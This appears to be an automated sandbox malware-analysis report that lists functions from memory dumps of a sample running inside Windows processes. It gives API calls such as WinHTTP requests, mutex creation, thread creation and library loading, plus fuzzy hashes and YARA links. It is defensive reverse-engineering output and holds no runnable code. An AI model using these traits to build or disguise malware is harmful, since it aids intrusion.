Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 835d1ec279ff4f63994c251eb055768c86be2b0b92d4fc5866fd73c19f270a09
Instruction ID: 5b0daefbd9de57b0df4356115457fb867095e4de6c1d894adb7a9bf3f0548410
Opcode Fuzzy Hash: 835d1ec279ff4f63994c251eb055768c86be2b0b92d4fc5866fd73c19f270a09
Instruction Fuzzy Hash: 39E08CB7208B20CAD2008F15A0A42EAAA22F3A4B82F8681069D8E06654CB78C11DDF90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AppHostRegistrationVerifier.exePID: 5804, Parent PID: 3368COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	220
Total number of Limit Nodes:	12

Executed Functions

Function 000001D26BF02A60 Relevance: 1.6, APIs: 1, Instructions: 56
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 000001D26BF02AA5

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 43c628613c2b8e767c1bb3085a0506645be460b8b38ac87b008fb90227b6330f
Instruction ID: 61159d3baa3264bff6438dac5f761f3307ee9130025a311660af1ca83b2d5fd0
Opcode Fuzzy Hash: 43c628613c2b8e767c1bb3085a0506645be460b8b38ac87b008fb90227b6330f
Instruction Fuzzy Hash: 1C2193326047C086EB218F35D4603AEB790F769B58F08841AEE994B769CE3DC441DB60

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF02BE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNEL32 ref: 000001D26BF02C26
GetLastError.KERNEL32 ref: 000001D26BF02C34
CloseHandle.KERNEL32 ref: 000001D26BF02C44

Strings

al\, xrefs: 000001D26BF02C06
Glob, xrefs: 000001D26BF02C1C

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: CloseCreateErrorHandleLastMutex
String ID: Glob$al\
API String ID: 4294037311-3723234212
Opcode ID: db5ee9a7ffefb8f65bffabb3e870ca82575a0aeb9c9f42884953a470b5a51b3d
Instruction ID: 876088513aee6ec9af5b545abe13503efed156ecacaf0ed720ccf5f4fa2d0cba
Opcode Fuzzy Hash: db5ee9a7ffefb8f65bffabb3e870ca82575a0aeb9c9f42884953a470b5a51b3d
Instruction Fuzzy Hash: 8B017CB271074086FB14DB36A46639963A1EBACB48F840512ED6E4A665DF3CC5468B10

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF027A0 Relevance: 7.6, APIs: 5, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinHttpSendRequest.WINHTTP ref: 000001D26BF027EB
WinHttpReceiveResponse.WINHTTP ref: 000001D26BF027FF
WinHttpQueryHeaders.WINHTTP ref: 000001D26BF02847
WinHttpQueryDataAvailable.WINHTTP ref: 000001D26BF028F3
WinHttpReadData.WINHTTP ref: 000001D26BF02933

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: Http$DataQuery$AvailableHeadersReadReceiveRequestResponseSend
String ID:
API String ID: 1498079409-0
Opcode ID: 72c9b6300956e560daf2dc5272bc23783810504abb544e7641859f8a46260139
Instruction ID: f515b5277fbd64dc2de910f5e037437e509bd6f6950832357050a97b44f5255e
Opcode Fuzzy Hash: 72c9b6300956e560daf2dc5272bc23783810504abb544e7641859f8a46260139
Instruction Fuzzy Hash: 6C51AD36204B848AEB109F26E46039AB7A4F7A5B88F544416FFA943B78DF39C455DB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B3E48 Relevance: 7.5, APIs: 5, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_FF_MSGBANNER.LIBCMT ref: 000001D26B9B3E78
_NMSG_WRITE.LIBCMT ref: 000001D26B9B3E82
_errno.LIBCMT ref: 000001D26B9B3EC1
_errno.LIBCMT ref: 000001D26B9B3ECC
_errno.LIBCMT ref: 000001D26B9B3EE1

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 1b132917735e81595f788da39e97715d046480465967ce84bb64dc53c4eddbc9
Instruction ID: c53b8de5edfd263c90a1f8a8686a03fb7a4a1477d6c1c15e57c408734090043d
Opcode Fuzzy Hash: 1b132917735e81595f788da39e97715d046480465967ce84bb64dc53c4eddbc9
Instruction Fuzzy Hash: E411303160E34087FA64AB75E4153EF2A919BA47A0F544223FE35577DADB78C8408F10

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF06135 Relevance: 4.5, APIs: 3, Instructions: 29
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DisableThreadLibraryCalls.KERNEL32 ref: 000001D26BF06155
CreateThread.KERNELBASE ref: 000001D26BF06174
FindCloseChangeNotification.KERNELBASE ref: 000001D26BF06182

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: Thread$CallsChangeCloseCreateDisableFindLibraryNotification
String ID:
API String ID: 4202692702-0
Opcode ID: 8855c8aa937943db8955070c9d2bb56d63b0433302d1fb9ef11d95af1b79b416
Instruction ID: 29d9d19a9adef529ee7397fddfcc828bd63e3ed4398c5bc6e40c28a400889bb4
Opcode Fuzzy Hash: 8855c8aa937943db8955070c9d2bb56d63b0433302d1fb9ef11d95af1b79b416
Instruction Fuzzy Hash: 71F0A0B1A11B45A2FB149B30A8542D97391FB78710F840427FC6D46770EF3CC5898290

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF0294C Relevance: 3.0, APIs: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinHttpQueryDataAvailable.WINHTTP ref: 000001D26BF028F3
WinHttpReadData.WINHTTP ref: 000001D26BF02933

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: DataHttp$AvailableQueryRead
String ID:
API String ID: 383923468-0
Opcode ID: 6ce448e5ab021a958b61d3460b8ef8efda68d0826ad67bfb9f6225670146ad27
Instruction ID: 5885350e5205c6456f0f7227acb4c40486c823b02f3b587c0dd15aa4d8617e6a
Opcode Fuzzy Hash: 6ce448e5ab021a958b61d3460b8ef8efda68d0826ad67bfb9f6225670146ad27
Instruction Fuzzy Hash: F701407230478586EB209F36986439AA6A1F7A5BC4F105407FE6547778CE3AC4149B50

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF2CAE0 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,000001D26BF2E4FA,?,?,00008E8C6B22E09E,000001D26BF297E1,?,?,?,?,000001D26BF3488A,?,?,00000000), ref: 000001D26BF2CB35

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b7b7c5d059868b764e3fd3ca0cc26841d516a588d998d57746289a21c826bbe9
Instruction ID: fbe7f524712846c56079f10791af8151d7beb489c8f41d7205e05ee8a44bc00f
Opcode Fuzzy Hash: b7b7c5d059868b764e3fd3ca0cc26841d516a588d998d57746289a21c826bbe9
Instruction Fuzzy Hash: 57F09078F0130442FE685BF698A13E492809B68B80F4C5433EC2A863F2DE3CC8C082A5

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF2C76C Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,?,?,000001D26BF34871,?,?,00000000,000001D26BF32C67,?,?,?,000001D26BF2ADCF,?,?,?,000001D26BF2ACC5), ref: 000001D26BF2C7AA

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f54d2b1c0a71cce690cd92ce36e117b1fd463edb0d36f37ae0e2efb646111e07
Instruction ID: 8ba6422ce3a80fa895ef8b783018d26fbdf4b49941686052fe8b3d8757c85fa2
Opcode Fuzzy Hash: f54d2b1c0a71cce690cd92ce36e117b1fd463edb0d36f37ae0e2efb646111e07
Instruction Fuzzy Hash: 97F01C35F0134545FE646AF259A17F911805B78BA0F484723FD36867E2DF7CC44092A0

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9A0001 Relevance: 1.5, APIs: 1, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000001D26B9A0006

Memory Dump Source

Source File: 0000000C.00000003.2818484288.000001D26B9A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D26B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_1d26b9a0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 68c1039645e2a4c025f3122e06f801197a3820c0aa27077361847d6b8fc00b1f
Instruction ID: 35ac81bedeee64e804cc260e8534c07ff8f9ec6ddeafac25e68a38f1e79a6da1
Opcode Fuzzy Hash: 68c1039645e2a4c025f3122e06f801197a3820c0aa27077361847d6b8fc00b1f
Instruction Fuzzy Hash: 84E0863014EB35CAE7325B64D8553DC3580E727360F241357DC7BD20DAD674C8829E52

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B1A87 Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 276dc59ee3ad123cc785667b6826603a0b2574447f2fa269fce0a03d4102bc2b
Instruction ID: afe2f7b98d0108204b9098873720b7e3a1c3dad90eae2c63b74200bd0ffa34ad
Opcode Fuzzy Hash: 276dc59ee3ad123cc785667b6826603a0b2574447f2fa269fce0a03d4102bc2b
Instruction Fuzzy Hash: 7421903260979486E7259F15E4503EBB7A5F799B84F488026EF9D47789EF38D501CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B18D0 Relevance: .1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212c4f200f37a0ea2244778e8083350e4b9b0eb5c6be78a9c2ab89f26ca6dc51
Instruction ID: 80a4d19b8a44870abc6cdd0ce01994fdf082aadbe3423d07fd7f75e637cad162
Opcode Fuzzy Hash: 212c4f200f37a0ea2244778e8083350e4b9b0eb5c6be78a9c2ab89f26ca6dc51
Instruction Fuzzy Hash: 76119A7222829186E760DF11E4402ABB761E7897A4F504226FFAA0BBC9CB7DC5568F00

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B35A0 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e3649cf1b436faf8b19eb6f59182cc74cad19adb968770df501c139cd0c3fb
Instruction ID: 1744c0aef1d983c4a09a560b928a0aa6501da7966b794eb0e650a0b4688abdbd
Opcode Fuzzy Hash: 43e3649cf1b436faf8b19eb6f59182cc74cad19adb968770df501c139cd0c3fb
Instruction Fuzzy Hash: C4E02631E0E35046FF70E730A802BEB33C4ABB5300F90002BEC6D8A799EE38C5608A40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001D26B9B85F4 Relevance: 13.8, Strings: 11, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

EnumSystemLocalesEx, xrefs: 000001D26B9B8616
GetCurrentPackageId, xrefs: 000001D26B9B8706
GetTickCount64, xrefs: 000001D26B9B8724
SetFileInformationByHandleW, xrefs: 000001D26B9B8767
CompareStringEx, xrefs: 000001D26B9B8634
IsValidLocaleName, xrefs: 000001D26B9B86CA
GetFileInformationByHandleExW, xrefs: 000001D26B9B8742
GetTimeFormatEx, xrefs: 000001D26B9B868E
LCMapStringEx, xrefs: 000001D26B9B86E8, 000001D26B9B8700
GetUserDefaultLocaleName, xrefs: 000001D26B9B86AC
SetDefaultDllDirectories, xrefs: 000001D26B9B85F9

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID:
String ID: CompareStringEx$EnumSystemLocalesEx$GetCurrentPackageId$GetFileInformationByHandleExW$GetTickCount64$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCMapStringEx$SetDefaultDllDirectories$SetFileInformationByHandleW
API String ID: 0-22572693
Opcode ID: 20c032348e194f409d30ea58e76296041c79ee62750de2df413bef08c96ad4ce
Instruction ID: 5b0f81f0a4905f48e34d37c11718e079b86d0e4161483b7ef9ba0f475f3408fc
Opcode Fuzzy Hash: 20c032348e194f409d30ea58e76296041c79ee62750de2df413bef08c96ad4ce
Instruction Fuzzy Hash: 0141F27124AB04E0FA90DF66FC943E923A4BB6A781F841463EC6D4B36AEF38C5458644

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF29E68 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000001D26BF29EE1
RtlLookupFunctionEntry.KERNEL32 ref: 000001D26BF29EF9
RtlVirtualUnwind.KERNEL32 ref: 000001D26BF29F34
IsDebuggerPresent.KERNEL32 ref: 000001D26BF29F6D
SetUnhandledExceptionFilter.KERNEL32 ref: 000001D26BF29F77
UnhandledExceptionFilter.KERNEL32 ref: 000001D26BF29F82

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: bcc6883355a0eb9e08123fa2b5b77c6fdb67df46a1d3db5eaf49389dce07e432
Instruction ID: 51d32b50798bbafc99fd24ccd7d1c2bc378f642b790df43937eeb07909afb10e
Opcode Fuzzy Hash: bcc6883355a0eb9e08123fa2b5b77c6fdb67df46a1d3db5eaf49389dce07e432
Instruction Fuzzy Hash: 8C316932614B8086EB60DF75E8803EE73A0F798758F540526FEAD43BA9DF38C5458B50

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF2E320 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001D26BF2E32F
FlsGetValue.KERNEL32 ref: 000001D26BF2E344
FlsSetValue.KERNEL32 ref: 000001D26BF2E365
FlsSetValue.KERNEL32 ref: 000001D26BF2E392
FlsSetValue.KERNEL32 ref: 000001D26BF2E3A3
FlsSetValue.KERNEL32 ref: 000001D26BF2E3B4
SetLastError.KERNEL32 ref: 000001D26BF2E3CF
FlsGetValue.KERNEL32 ref: 000001D26BF2E405
FlsSetValue.KERNEL32 ref: 000001D26BF2E424

Part of subcall function 000001D26BF2CAE0: RtlAllocateHeap.NTDLL(?,?,00000000,000001D26BF2E4FA,?,?,00008E8C6B22E09E,000001D26BF297E1,?,?,?,?,000001D26BF3488A,?,?,00000000), ref: 000001D26BF2CB35

FlsSetValue.KERNEL32 ref: 000001D26BF2E44C

Part of subcall function 000001D26BF2CB58: HeapFree.KERNEL32(?,?,83480000198CE800,000001D26BF370DE,?,?,?,000001D26BF3745B,?,?,00000000,000001D26BF34D39,?,?,000001D26BF2B0A6,000001D26BF34C6B), ref: 000001D26BF2CB6E
Part of subcall function 000001D26BF2CB58: GetLastError.KERNEL32(?,?,83480000198CE800,000001D26BF370DE,?,?,?,000001D26BF3745B,?,?,00000000,000001D26BF34D39,?,?,000001D26BF2B0A6,000001D26BF34C6B), ref: 000001D26BF2CB78

FlsSetValue.KERNEL32 ref: 000001D26BF2E45D
FlsSetValue.KERNEL32 ref: 000001D26BF2E46E

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocateFree
String ID:
API String ID: 3174826731-0
